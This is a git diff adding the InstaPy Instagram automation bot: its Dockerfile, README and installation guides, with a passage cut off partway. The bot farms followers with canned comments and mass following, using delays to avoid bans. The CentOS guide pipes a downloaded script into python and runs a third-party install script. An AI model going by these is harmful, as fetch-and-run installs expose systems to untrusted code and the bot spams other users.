 create mode 100644 InstaPy/examples/__init__.py
 create mode 100644 InstaPy/examples/chainingExample.py
 create mode 100644 InstaPy/examples/example.py
 create mode 100644 InstaPy/instapy/__init__.py
 create mode 100644 InstaPy/instapy/clarifai_util.py
 create mode 100644 InstaPy/instapy/comment_util.py
 create mode 100644 InstaPy/instapy/instapy.py
 create mode 100644 InstaPy/instapy/like_util.py
 create mode 100644 InstaPy/instapy/login_util.py
 create mode 100644 InstaPy/instapy/print_log_writer.py
 create mode 100644 InstaPy/instapy/time_util.py
 create mode 100644 InstaPy/instapy/unfollow_util.py
 create mode 100755 InstaPy/logs/followRestriction.json
 create mode 100755 InstaPy/logs/followed.txt
 create mode 100755 InstaPy/logs/followerNum.txt
 create mode 100755 InstaPy/logs/logFile.txt
 create mode 100755 InstaPy/logs/run.txt
 create mode 100644 InstaPy/quickstart.py
 create mode 100644 InstaPy/requirements.txt
 create mode 100755 InstaPy/scripts/unix.sh
 create mode 100644 InstaPy/scripts/windows.ps1
 create mode 100644 InstaPy/setup.py

diff --git a/InstaPy/.gitignore b/InstaPy/.gitignore
new file mode 100644
index 00000000..be734a2d
--- /dev/null
+++ b/InstaPy/.gitignore
@@ -0,0 +1,95 @@
+# pylint file
+googlecl-pylint.rc.txt
+assets/chromedriver
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+.hypothesis/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# IPython Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# dotenv
+.env
+
+# virtualenv
+venv/
+ENV/
+
+# Spyder project settings
+.spyderproject
+
+# Rope project settings
+.ropeproject
+
+# Mac files
+.DS_Store
diff --git a/InstaPy/Dockerfile b/InstaPy/Dockerfile
new file mode 100644
index 00000000..93d26910
--- /dev/null
+++ b/InstaPy/Dockerfile
@@ -0,0 +1,79 @@
+FROM ubuntu:16.04
+
+MAINTAINER Grossmann Tim <contact.timgrossmann@gmail.com>
+
+# Set env variables
+ENV CHROME https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+ENV CRHOMEDRIVER http://chromedriver.storage.googleapis.com/2.29/chromedriver_linux64.zip
+
+# Environment setup
+RUN apt-get update \
+    && apt-get -y upgrade \
+    && apt-get -y install \
+        apt-utils \
+        locales \
+        unzip \
+	sed \
+        python3-pip \
+        python3-dev \
+        build-essential \
+        libgconf2-4 \
+        libnss3-1d \
+        libxss1 \
+        libssl-dev \
+        libffi-dev \
+        xvfb \
+        wget \
+        libcurl3 \
+        gconf-service \
+        libasound2 \
+        libatk1.0-0 \
+        libcairo2 \
+        libcups2 \
+        libfontconfig1 \
+        libgdk-pixbuf2.0-0 \
+        libgtk2.0-0 \
+        libpango1.0-0 \
+        libxcomposite1 \
+        libxtst6 \
+        fonts-liberation \
+        libappindicator1 \
+        xdg-utils \
+        git \
+    && pip3 install --upgrade pip \
+    && locale-gen en_US.UTF-8 \
+    && dpkg-reconfigure locales \
+    && pip3 install --upgrade pip \
+    && apt-get -f install
+
+ENV LANG en_US.UTF-8
+ENV LANGUAGE en_US:en
+ENV LC_ALL en_US.UTF-8
+
+# Installing latest chrome
+RUN cd ~ \
+    && wget ${CHROME} \
+    && dpkg -i google-chrome-stable_current_amd64.deb \
+    && apt-get install -y -f \
+    && rm google-chrome-stable_current_amd64.deb
+
+# Cleanup
+RUN apt-get clean \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Adding InstaPy
+RUN git clone https://github.com/timgrossmann/InstaPy.git \
+    && wget ${CRHOMEDRIVER} \
+    && unzip chromedriver_linux64 \
+    && mv chromedriver InstaPy/assets/chromedriver \
+    && chmod +x InstaPy/assets/chromedriver \
+    && chmod 755 InstaPy/assets/chromedriver \
+    && cd InstaPy \
+    && pip install . \
+    && sed -ie 's/#self.display/self.display/g' instapy/instapy.py
+
+# Copying the your quickstart file into the container and setting directory
+COPY quickstart.py ./InstaPy
+WORKDIR /InstaPy
+
+CMD ["python3.5", "quickstart.py"]
diff --git a/InstaPy/LICENSE b/InstaPy/LICENSE
new file mode 100644
index 00000000..44b68e54
--- /dev/null
+++ b/InstaPy/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016 Tim Großmann
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/InstaPy/README.md b/InstaPy/README.md
new file mode 100755
index 00000000..2183caa4
--- /dev/null
+++ b/InstaPy/README.md
@@ -0,0 +1,344 @@
+> **Think this tool is worth supporting?**  
+Head over to https://github.com/timgrossmann/InstaPy/wiki/How-to-Contribute to find out how you can help.
+**Become a part of InstaPy!**  
+
+> **Have an issue**  
+Head over to https://github.com/timgrossmann/InstaPy/wiki/Reporting-An-Issue to find out how to report this to us and get help.
+
+> **Disclaimer**: Please Note that this is a research project. I am by no means responsible for any usage of this tool. Use on your own behalf. I’m also not responsible if your accounts get banned due to extensive use of this tool.
+
+<img src="http://i.imgur.com/9ZjtveL.png" width="150" align="right">
+
+# InstaPy
+[![MIT license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/timgrossmann/InstaPy/blob/master/LICENSE)
+[![built with Selenium](https://img.shields.io/badge/built%20with-Selenium-red.svg)](https://github.com/SeleniumHQ/selenium)
+[![built with Python3](https://img.shields.io/badge/built%20with-Python3-green.svg)](https://www.python.org/)
+
+### [Read about how it works on Medium](https://medium.freecodecamp.com/my-open-source-instagram-bot-got-me-2-500-real-followers-for-5-in-server-costs-e40491358340)
+### [Check out the talk](https://twitter.com/timigrossmann/status/869222353166839812)
+
+### Instagram Like, Comment and Follow Automation Script
+
+> Automation Script for “farming” Likes, Comments and Followers on Instagram.  
+
+Implemented in Python using the Selenium module.
+
+#### Example
+
+```python
+from instapy import InstaPy
+
+InstaPy(username='test', password='test')\
+  .login()\
+  .set_do_comment(True, percentage=10)\
+  .set_comments(['Cool!', 'Awesome!', 'Nice!'])\
+  .set_dont_include(['friend1', 'friend2', 'friend3'])\
+  .set_dont_like(['food', 'girl', 'hot'])\
+  .set_ignore_if_contains(['pizza'])\
+  .like_by_tags(['dog', '#cat'], amount=100)\
+  .end()
+```
+## It’s easy to use and the built in delays prevent your account from getting banned. (Just make sure you don't like 1000s of post/day)
+
+### Getting started
+
+> Guides:
+**[How to Ubuntu](./docs/How_To_DO_Ubuntu.md) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [How to CentOS](./docs/How_To_DO_Centos.md) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [How to Windows](./docs/How_to_Windows.md)**
+
+#### You need to have [Python](https://www.python.org/downloads/) 2.7 or 3.6 installed. Setted up path for PY command. Installed [Selenium](http://selenium-python.readthedocs.io/) and [pyvirtualdriver](https://pypi.python.org/pypi/PyVirtualDisplay).
+
+#### Make sure to get the right ```chromedriver``` for your system from here: [https://sites.google.com/a/chromium.org/chromedriver/downloads](https://sites.google.com/a/chromium.org/chromedriver/downloads). Just put it in ```/assets```.
+
+> If you're not too familiar with code and you're working on Windows, try out this tool to set up the settings: [InstaPy Windows GUI](https://github.com/Nemixalone/GUI-tool-for-InstaPy-script)
+
+```bash
+cd InstaPy
+pip install .
+```
+
+or
+
+```bash
+cd InstaPy
+python setup.py install
+```
+
+If you want the script to get the username and password for your environment, you can do:
+
+```
+export INSTA_USER="<Your username>"
+export INSTA_PW="<Your password>"
+```
+---
+
+```python
+from instapy import InstaPy
+
+#if you don't provide arguments, the script will look for INSTA_USER and INSTA_PW in the environment
+
+session = InstaPy(username='test', password='test')
+session.login()
+
+#likes specified amount of posts for each hashtag in the array (the '#' is optional)
+#in this case: 100 dog-posts and 100 cat-posts
+session.like_by_tags(['#dog', 'cat'], amount=100)
+
+#likes specified amount of posts for each location in the array
+#in this case: 100 posts geotagged at the chrysler building and 100 posts geotagged at the salton sea
+session.like_by_locations(['26429/chrysler-building/', '224442573/salton-sea/'], amount=100)
+
+#gets tags from image passed as instagram-url and likes specified amount of images for each tag
+session.like_from_image(url='www.instagram.com/p/BSrfITEFUAM/', amount=100)
+
+#likes 50 photos of other animals
+
+session.like_by_tags(['#animals'], amount=50, media='Photo')
+session.like_from_image(url='www.instagram.com/image', amount=50, media='Photo')
+
+#likes 15 videos of cats
+
+session.like_by_tags(['#cat'], amount=15, media='Video')
+session.like_from_image(url='www.instagram.com/image', amount=15, media='Video')
+
+session.end()
+```
+
+##### Locations
+
+To you can find locations for the like_by_locations function by browsing here:
+https://www.instagram.com/explore/locations/
+OR by regular instagram search.
+
+Example:
+* Search 'Salton Sea' and select the result with a location icon
+* The url is: https://www.instagram.com/explore/locations/224442573/salton-sea/
+* Use everything after 'locations/' or just the number
+```python
+#both of these work
+
+session.like_by_locations(['224442573/salton-sea/'], amount=100)
+session.like_by_locations(['224442573'], amount=100)
+```
+
+
+##### Restricting Likes
+
+```python
+#completely ignore liking images from certain users
+
+session.set_ignore_users(['random_user', 'another_username'])
+```
+
+
+`.set_dont_like` searches the description and owner comments for hashtags and won't like the image if one of those hashtags are in there
+
+You have 4 options to exclude posts from your InstaPy session:
+* words starting with `#` will match only exact hashtags (e. g. `#cat` matches `#cat`, but not `#catpic`)
+* words starting with `[` will match all hashtags starting with your word (e. g. `[cat` matches `#catpic`, `#caturday` and so on)
+* words starting with `]` will match all hashtags ending with your word (e. g. `]cat` matches `#mycat`, `#instacat` and so on)
+* words without these prefixes will match all hashtags that contain your word regardless if it is placed at the beginning, middle or end of the hashtag (e. g. `cat` will match `#cat`, `#mycat`, `#caturday`, `#rainingcatsanddogs` and so on)
+
+```python
+session.set_dont_like('#exactmatch', '[startswith', ']endswith', 'broadmatch')
+```
+##### Ignoring Restrictions
+
+```python
+#will ignore the don't like if the description contains
+# one of the given words
+
+session.set_ignore_if_contains(['glutenfree', 'french', 'tasty'])
+```
+
+##### Commenting
+
+```python
+#default enabled=False, ~ every 4th image will be commented on
+
+session.set_do_comment(enabled=True, percentage=25)
+session.set_comments(['Awesome', 'Really Cool', 'I like your stuff'])
+
+# you can also set comments for specific media types (Photo / Video)
+session.set_comments(['Nice shot!'], media='Photo')
+session.set_comments(['Great Video!'], media='Video')
+```
+
+##### Emoji Support  
+You can use Unicode characters (like Emoji) in your comments
+1. You have to convert your comment to Unicode. This can safely be done by adding an u in front of the opening apostrophe:
+
+```session.set_comments([u'This post is 🔥',u'More emojis are always better 💯',u'I love your posts 😍😍😍']);```
+
+```session.set_comments([u'Emoji text codes are also supported :100: :thumbsup: :thumbs_up: \u2764 💯💯']);```
+
+Emoji text codes are implemented using 2 different naming codes. A complete list of emojis codes can be found on the [Python Emoji Github](https://github.com/carpedm20/emoji/blob/master/emoji/unicode_codes.py), but you can use the alternate shorted naming scheme found for Emoji text codes [here](https://www.webpagefx.com/tools/emoji-cheat-sheet). Note: Every Emoji has not been tested. Please report any inconsistancies.
+
+> **Legacy Emoji Support**  
+>
+> You can still use Unicode strings in your comments, but there are some limitations.
+> 1. You can use only Unicode characters with no more than 4 characters and you have to use the unicode code (e. g. ```\u1234```). You find a list of emoji with unicode codes on [Wikipedia](https://en.wikipedia.org/wiki/Emoji#Unicode_blocks), but there is also a list of working emoji in ```/assets```  
+>
+> 2. You have to convert your comment to Unicode. This can safely be done by adding an u in front of the opening apostrophe: ```u'\u1234 some comment'```
+
+
+##### Following
+
+```python
+#default enabled=False, follows ~ 10% of the users from the images, times=1 (only follows a user once (if unfollowed again))
+
+session.set_do_follow(enabled=True, percentage=10, times=2)
+```
+
+##### Following by a list
+
+```python
+#follows each account from a list of instagram nicknames (only follows a user once (if unfollowed again))
+# would be useful for the precise targeting. For example, if one needs to get followbacks from followers of a chosen account/group of accounts.
+
+accs = ['therock','natgeo']
+session.follow_by_list(accs, times=1)
+```
+
+##### Excluding friends
+
+```python
+#will prevent commenting on and unfollowing your good friends (the images will still be liked)
+
+session.set_dont_include(['friend1', 'friend2', 'friend3'])
+```
+
+##### Interactions based on the number of followers a user has
+
+```python
+#This is used to check the number of followers a user has and if this number exceeds the number set then no further interaction happens
+
+session.set_upper_follower_count(limit = 250)
+```
+
+```python
+#This is used to check the number of followers a user has and if this number does not pass the number set then no further interaction happens
+
+session.set_lower_follower_count(limit = 1)
+```
+
+##### Unfollowing
+
+```python
+#unfollows 10 of the accounts you're following -> instagram will only unfollow 10 before you'll be 'blocked for 10 minutes' (if you enter a higher number than 10 it will unfollow 10, then wait 10 minutes and will continue then)
+
+session.unfollow_users(amount=10)
+```
+
+##### Follow/Unfollow/exclude not working?
+If you notice that one or more of the above functionalities are not working as expected - e.g. you have specified:
+```python
+session.set_do_follow(enabled=True, percentage=10, times=2)
+```
+but none of the profiles are being followed - or any such functionality is misbehaving - then one thing you should check is the position/order of such methods in your script. Essentially, all the ```set_*``` methods have to be before ```like_by_tags``` or ```like_by_locations``` or ```unfollow```. This is also implicit in all the exmples and quickstart.py
+
+
+##### Running on a server?
+
+```python
+#you can use the nogui parameter to use a virtual display
+
+session = InstaPy(username='test', password='test', nogui=True)
+```
+
+##### Running InstaPy automated
+
+You can add InstaPy to your crontab, so that the script will be executed regularly. This is especially useful for servers, but be sure not to break Instagrams follow and like limits.
+
+**An example:**
+
+```
+# Edit or create a crontab
+crontab -e
+# Add information to execute your InstaPy regularly.
+# With cd you navigate to your InstaPy folder, with the part after && you execute your quickstart.py with python. Make sure that those paths match your environment.
+45 */4 * * * cd /home/user/InstaPy && /usr/bin/python ./quickstart.py
+```
+
+### Clarifai ImageAPI
+<img src="https://d1qb2nb5cznatu.cloudfront.net/startups/i/396673-2fb6e8026b393dddddc093c23d8cd866-medium_jpg.jpg?buster=1399901540" width="200" align="right">
+
+###### Note: Head over to [https://developer.clarifai.com/signup/](https://developer.clarifai.com/signup/) and create a free account, once you’re logged in go to [https://developer.clarifai.com/account/applications/](https://developer.clarifai.com/account/applications/) and create a new application. You can find the client ID and Secret there. You get 5000 API-calls free/month.
+
+If you want the script to get your Clarifai_ID and Clarifai_Secret for your environment, you can do:
+
+```
+export CLARIFAI_ID="<ProjectID>"
+export CLARIFAI_SECRET="<Project Secret>"
+```
+#### Example with Imagecontent handling
+
+```python
+from instapy import InstaPy
+
+InstaPy(username='test', password='test')\
+  .login()\
+  .set_do_comment(True, percentage=10)\
+  .set_comments(['Cool!', 'Awesome!', 'Nice!'])\
+  .set_dont_include(['friend1', 'friend2', 'friend3'])\
+  .set_dont_like(['food', 'girl', 'hot'])\
+  .set_ignore_if_contains(['pizza'])\
+  .set_use_clarifai(enabled=True)\
+  .clarifai_check_img_for(['nsfw'])\
+  .clarifai_check_img_for(['food', 'lunch', 'dinner'], comment=True, comments=['Tasty!', 'Nice!', 'Yum!'])\
+  .like_by_tags(['dog', '#cat'], amount=100)\
+  .end()
+```
+##### Enabling Imagechecking
+
+```python
+#default enabled=False , enables the checking with the clarifai api (image tagging)
+#if secret and proj_id are not set, it will get the environment Variables
+# 'Clarifai_SECRET' and 'CLARIFAI_ID'
+
+session.set_use_clarifai(enabled=True, secret='xyz', proj_id='123')
+```
+##### Filtering inappropriate images
+
+```python
+# uses the clarifai api to check if the image contains nsfw content
+# -> won't comment if image is nsfw
+
+session.clarifai_check_img_for(['nsfw'])
+```
+##### Specialized comments for images with specific content
+
+```python
+#checks the image for keywords food and lunch, if both are found,
+#comments with the given comments. If full_match is False (default), it only
+# requires a single tag to match Clarifai results.
+
+session.clarifai_check_img_for(['food', 'lunch'], comment=True, comments=['Tasty!', 'Yum!'], full_match=True)
+```
+
+###### Check out [https://clarifai.com/demo](https://clarifai.com/demo) to see some of the available tags.</h6>
+
+### Running it with Docker
+
+#### Build the Image
+
+Make sure to use the `nogui` feature:
+```python
+#you can use the nogui parameter to use a virtual display
+
+session = InstaPy(username='test', password='test', nogui=True)
+```
+
+You first need to build the image by running this in the Terminal:
+```bash
+docker build -t instapy .
+```
+
+#### Run in a Container
+
+After the build succeeded, you can simply run the container with:
+```bash
+docker run --name=instapy -e INSTA_USER=<your-user> -e INSTA_PW=<your-pw> -d instapy
+```
+
+---
+###### Have Fun & Feel Free to report any issues
diff --git a/InstaPy/assets/unicodes.md b/InstaPy/assets/unicodes.md
new file mode 100644
index 00000000..ef577c74
--- /dev/null
+++ b/InstaPy/assets/unicodes.md
@@ -0,0 +1,39 @@
+Unicode
+
+- ✅ \u2705
+- ✊ \u270A
+- ✋ \u270B
+- ✌  \u270C
+- ✔ \u2714
+- ✨ \u2728
+- ❗ \u2757
+- ‼ \u203C
+- ❤ \u2764
+- ➰ \u27B0
+- ➡ \u27A1
+- ⌚ \u231A
+- ☀ \u2600
+- ☑ \u2611
+- ☺ \u263A
+- ♥ \u2665
+- ⭐ \u2B50
+- ☹ \u2639
+- ❣\u2763
+- ☕ \u2615
+- ⛰ \u26F0
+- ⛪ \u26EA
+- ⚓ \u2693
+- ⛴ \u26F4
+- ✈ \u2708
+- ☁ \u2601
+- ⛅ \u26C5
+- ⛈ \u26C8
+- ☂ \u2602
+- ⚡ \u26A1
+- ❄ \u2744
+- ☃ \u2603
+- ☄ \u2604
+- ⚽ \u26BD
+- ⛸ \u26F8
+- ⌨ \u2328
+- ☯ \u262F
\ No newline at end of file
diff --git a/InstaPy/docs/How_To_DO_Centos.md b/InstaPy/docs/How_To_DO_Centos.md
new file mode 100644
index 00000000..97e1a3c0
--- /dev/null
+++ b/InstaPy/docs/How_To_DO_Centos.md
@@ -0,0 +1,46 @@
+# How to run InstaPy on a digital ocean CentOS 7 droplet
+> Use https://m.do.co/c/be9ec19b28c1 to get 10$ free to start your InstaPy journey :wink:
+
+- #### Make sure to use the 1GB RAM version
+
+- #### Make sure to set ```nogui=True``` in your InstaPy file
+
+## General dependencies
+
+```sh
+$ yum update
+$ yum -y install unzip yum-utils epel-release git
+$ yum-builddep python
+$ yum -y install python34 python34-devel
+$ yum -y install Xvfb libXfont Xorg
+$ yum -y groupinstall "X Window System" "Desktop" "Fonts" "General Purpose Desktop"
+$ yum install python-devel
+```
+
+## Python-pip
+
+```sh
+$ curl https://bootstrap.pypa.io/get-pip.py | python
+```
+
+## Chrome-stable
+
+```sh
+$ cd ~
+$ wget http://chrome.richardlloyd.org.uk/install_chrome.sh
+$ chmod u+x install_chrome.sh
+$ ./install_chrome.sh
+```
+
+## InstaPy
+
+```bash
+$ git clone https://github.com/timgrossmann/InstaPy.git
+$ wget "http://chromedriver.storage.googleapis.com/2.29/chromedriver_linux64.zip"
+$ unzip chromedriver_linux64
+$ mv chromedriver InstaPy/assets/chromedriver
+$ chmod +x InstaPy/assets/chromedriver
+$ chmod 755 InstaPy/assets/chromedriver
+$ cd InstaPy 
+$ pip install .
+```
diff --git a/InstaPy/docs/How_To_DO_Ubuntu.md b/InstaPy/docs/How_To_DO_Ubuntu.md
new file mode 100644
index 00000000..c6031608
--- /dev/null
+++ b/InstaPy/docs/How_To_DO_Ubuntu.md
@@ -0,0 +1,55 @@
+# How to run InstaPy on a digital ocean Ubuntu droplet
+> Use https://m.do.co/c/be9ec19b28c1 to get 10$ free to start your InstaPy journey :wink:
+
+- #### Make sure to use the 1GB RAM version (or better)
+
+- #### Make sure to set ```nogui=True``` in your InstaPy file
+
+## Express Installation
+
+```sh
+$ git clone https://github.com/timgrossmann/InstaPy.git
+$ cd scripts
+$ ./unix.sh
+```
+
+
+## Advanced Installation
+
+### General dependencies
+
+```sh
+$ sudo apt-get update
+$ sudo apt-get -y upgrade
+$ sudo apt-get -y install unzip python3-pip python3-dev build-essential libssl-dev libffi-dev xvfb
+$ sudo pip3 install --upgrade pip
+$ export LANGUAGE=en_US.UTF-8
+$ export LANG=en_US.UTF-8
+$ export LC_ALL=en_US.UTF-8
+$ locale-gen en_US.UTF-8
+$ sudo dpkg-reconfigure locales
+$ pip3 install --upgrade pip
+```
+
+### Chrome-stable
+
+```sh
+$ cd ~
+$ wget "https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb"
+$ sudo dpkg -i google-chrome-stable_current_amd64.deb
+$ sudo apt-get install -y -f
+$ sudo rm google-chrome-stable_current_amd64.deb
+```
+
+### InstaPy
+
+```bash
+$ git clone https://github.com/timgrossmann/InstaPy.git
+$ wget "http://chromedriver.storage.googleapis.com/2.29/chromedriver_linux64.zip"
+$ unzip chromedriver_linux64
+$ mv chromedriver InstaPy/assets/chromedriver
+$ chmod +x InstaPy/assets/chromedriver
+$ chmod 755 InstaPy/assets/chromedriver
+$ cd InstaPy
+$ pip install .
+```
diff --git a/InstaPy/docs/How_to_Windows.md b/InstaPy/docs/How_to_Windows.md
new file mode 100644
index 00000000..ffdedf6b
--- /dev/null
+++ b/InstaPy/docs/How_to_Windows.md
@@ -0,0 +1,51 @@
+# Installation guide for windows:
+
+#### 1. Install python:
+- Download and install newest version of python (if you do the custom install don't forget to install the pip tool)
+- recommended path C:\\Program Files (x86)\\
+> [https://www.python.org/downloads/release/python-361/](https://www.python.org/downloads/release/python-361/)
+
+#### 2. Set python evironment:
+- Open Control Panel » System » Advanced » Environment Variables.
+- Click New and type the path where you have installed Python + /Scripts
+- C:\\Program Files (x86)\\Python36-32\\Scripts
+
+
+#### 3. Simple setup:
+- Download (or clone) the repository
+- Go to the scripts folder
+- Right click on "windows.ps1" and select "Run as administrator"
+
+#### 3. Advanced setup:
+
+##### Install Selenium
+- Go to C:\\Program Files (x86)\\Python36-32\\Scripts
+- press Shift + Right click and open command window (with admin rights !!) and type
+- pip install selenium
+- python -m pip install pyvirtualdisplay
+- py get-pip.py
+
+##### Download the GUI (optional)
+- Download the zip-File from the GUI-tool-for-InstaPy-script
+- follow the install instructions on this page
+- don't forget to copy the \*.exe files in the folder InstaPy-master
+> [https://github.com/Nemixalone/GUI-tool-for-InstaPy-script](https://github.com/Nemixalone/GUI-tool-for-InstaPy-script)
+
+##### Download the latest chromedriver
+- Download the newest chrom driver
+- copy it in the folder \\assets
+> [https://sites.google.com/a/chromium.org/chromedriver/downloads](https://sites.google.com/a/chromium.org/chromedriver/downloads)
+
+#### 4. Edit the instapy.py file
+- Open file instapy.py an disabling the clarifai import
+- comment the line "from clarifai.client import ClarifaiApi"
+> `from clarifai.client import ClarifaiApi`
+
+#### 5. Starting the script
+- Start the Gui by clicking at the file InstaPy.exe
+- Insert your parameters and press run
+
+- After the first run the file quickstart.py is filled with your parameters
+- now you can edit them manually in a editor (e.g. notepad pro)
+
+### Now you can also start the script by opening a command window and running start.bat
diff --git a/InstaPy/docs/_config.yml b/InstaPy/docs/_config.yml
new file mode 100644
index 00000000..6846f1ef
--- /dev/null
+++ b/InstaPy/docs/_config.yml
@@ -0,0 +1,3 @@
+theme: jekyll-theme-cayman
+title: InstaPy | Instagram Like/Comment/Follow Automation Script
+description: An automation script that uses your Instagram account to like and follow others with the aim of them liking and following back
diff --git a/InstaPy/docs/index.md b/InstaPy/docs/index.md
new file mode 100755
index 00000000..31454f1b
--- /dev/null
+++ b/InstaPy/docs/index.md
@@ -0,0 +1,347 @@
+# <img src="http://i.imgur.com/9ZjtveL.png" width="150" align="right"> InstaPy
+[![GitHub license](https://img.shields.io/github/license/mashape/apistatus.svg)](https://github.com/timgrossmann/InstaPy/blob/master/LICENSE)
+[![built with Selenium](https://img.shields.io/badge/built%20with-Selenium-red.svg)](https://github.com/SeleniumHQ/selenium)
+[![built with Python3](https://img.shields.io/badge/built%20with-Python3-green.svg)](https://www.python.org/)
+
+> **Think this tool is worth supporting?**
+Feel free to contribute to the project in whatever way!
+If you're not familiar with python, you could build a github page for this project (Just head over to the issues, there might be a task for you). You're a marketer? Perfect! hit me with a message on contact.timgrossmann@gmail.com.
+**Become a part of InstaPy!**
+
+### What is InstaPy
+>An automation script that uses your Instagram account to like and follow others with the aim of them liking and following back. <br />
+Implemented in Python using the Selenium module.
+
+### [Read about how it works on Medium](https://medium.freecodecamp.com/my-open-source-instagram-bot-got-me-2-500-real-followers-for-5-in-server-costs-e40491358340)
+### [Check out the talk](https://twitter.com/timigrossmann/status/869222353166839812)
+
+## Example Script
+
+```python
+from instapy import InstaPy
+
+InstaPy(username='test', password='test')\
+  .login()\
+  .set_do_comment(True, percentage=10)\
+  .set_comments(['Cool!', 'Awesome!', 'Nice!'])\
+  .set_dont_include(['friend1', 'friend2', 'friend3'])\
+  .set_dont_like(['food', 'girl', 'hot'])\
+  .set_ignore_if_contains(['pizza'])\
+  .like_by_tags(['dog', '#cat'], amount=100)\
+  .end()
+  ```
+> The above logs into IG user test using the password test and then comments on
+every 1/10 images with either Cool!, Awesome! or Nice!.<br />The bot will not
+interact with friend1, friend2 or friend3, this means that if the bot is set to
+unfollow people it will not unfollow these people.<br />The bot will not like anthing
+that contains the words food, girl or hot. It will ignore posts that contain pizza.<br />
+It will like images that have been tagged with dog or food and will like 100 images.
+
+## Getting started
+
+> Guides:
+**[How to Ubuntu](./How_To_DO_Ubuntu.md) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [How to CentOS](./How_To_DO_Centos.md) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [How to Windows](How_to_Windows.md)**
+
+### Setting Up
+
+#### Download the repository from GitHub and extract the files.
+#### Make sure to get the right ```chromedriver``` for your system from here: https://sites.google.com/a/chromium.org/chromedriver/downloads. Just put it in /assets.
+```bash
+cd InstaPy
+pip install .
+```
+
+or
+
+```bash
+cd InstaPy
+python setup.py install
+```
+
+If you want the script to get the username and password for your environment, you can do:  
+
+```
+export INSTA_USER="<Your username>"
+export INSTA_PW="<Your password>"
+```
+
+> If you're not too familiar with code and you're working on Windows, try out this tool to set up the settings: [InstaPy Windows GUI](https://github.com/Nemixalone/GUI-tool-for-InstaPy-script)
+
+---
+
+### Usage and Components
+
+##### Usage
+
+```python
+from instapy import InstaPy
+
+#if you don't provide arguments, the script will look for INSTA_USER and INSTA_PW in the environment
+
+session = InstaPy(username='test', password='test')
+session.login()
+
+#likes specified amount of posts for each hashtag in the array (the '#' is optional)
+#in this case: 100 dog-posts and 100 cat-posts
+session.like_by_tags(['#dog', 'cat'], amount=100)
+
+#likes specified amount of posts for each location in the array
+#in this case: 100 posts geotagged at the chrysler building and 100 posts geotagged at the salton sea
+session.like_by_locations(['26429/chrysler-building/', '224442573/salton-sea/'], amount=100)
+
+#gets tags from image passed as instagram-url and likes specified amount of images for each tag
+session.like_from_image(url='www.instagram.com/p/BSrfITEFUAM/', amount=100)
+
+#likes 50 photos of other animals
+
+session.like_by_tags(['#animals'], amount=50, media='Photo')
+session.like_from_image(url='www.instagram.com/image', amount=50, media='Photo')
+
+#likes 15 videos of cats
+
+session.like_by_tags(['#cat'], amount=15, media='Video')
+session.like_from_image(url='www.instagram.com/image', amount=15, media='Video')
+
+session.end()
+```
+
+##### Locations
+
+To you can find locations for the like_by_locations function by browsing here:
+https://www.instagram.com/explore/locations/
+OR by regular instagram search.
+
+Example:
+* Search 'Salton Sea' and select the result with a location icon
+* The url is: https://www.instagram.com/explore/locations/224442573/salton-sea/
+* Use everything after 'locations/' or just the number
+```python
+#both of these work
+
+session.like_by_locations(['224442573/salton-sea/'], amount=100)
+session.like_by_locations(['224442573'], amount=100)
+```
+
+##### Restricting Likes
+
+```python
+#completely ignore liking images from certain users
+
+session.set_ignore_users(['random_user', 'another_username'])
+```
+
+`.set_dont_like` searches the description and owner comments for hashtags and won't like the image if one of those hashtags are in there
+
+You have 4 options to exclude posts from your InstaPy session:
+* words starting with `#` will match only exact hashtags (e. g. `#cat` matches `#cat`, but not `#catpic`)
+* words starting with `[` will match all hashtags starting with your word (e. g. `[cat` matches `#catpic`, `#caturday` and so on)
+* words starting with `]` will match all hashtags ending with your word (e. g. `]cat` matches `#mycat`, `#instacat` and so on)
+* words without these prefixes will match all hashtags that contain your word regardless if it is placed at the beginning, middle or end of the hashtag (e. g. `cat` will match `#cat`, `#mycat`, `#caturday`, `#rainingcatsanddogs` and so on)
+
+```python
+session.set_dont_like('#exactmatch', '[startswith', ']endswith', 'broadmatch')
+```
+##### Ignoring Restrictions
+
+```python
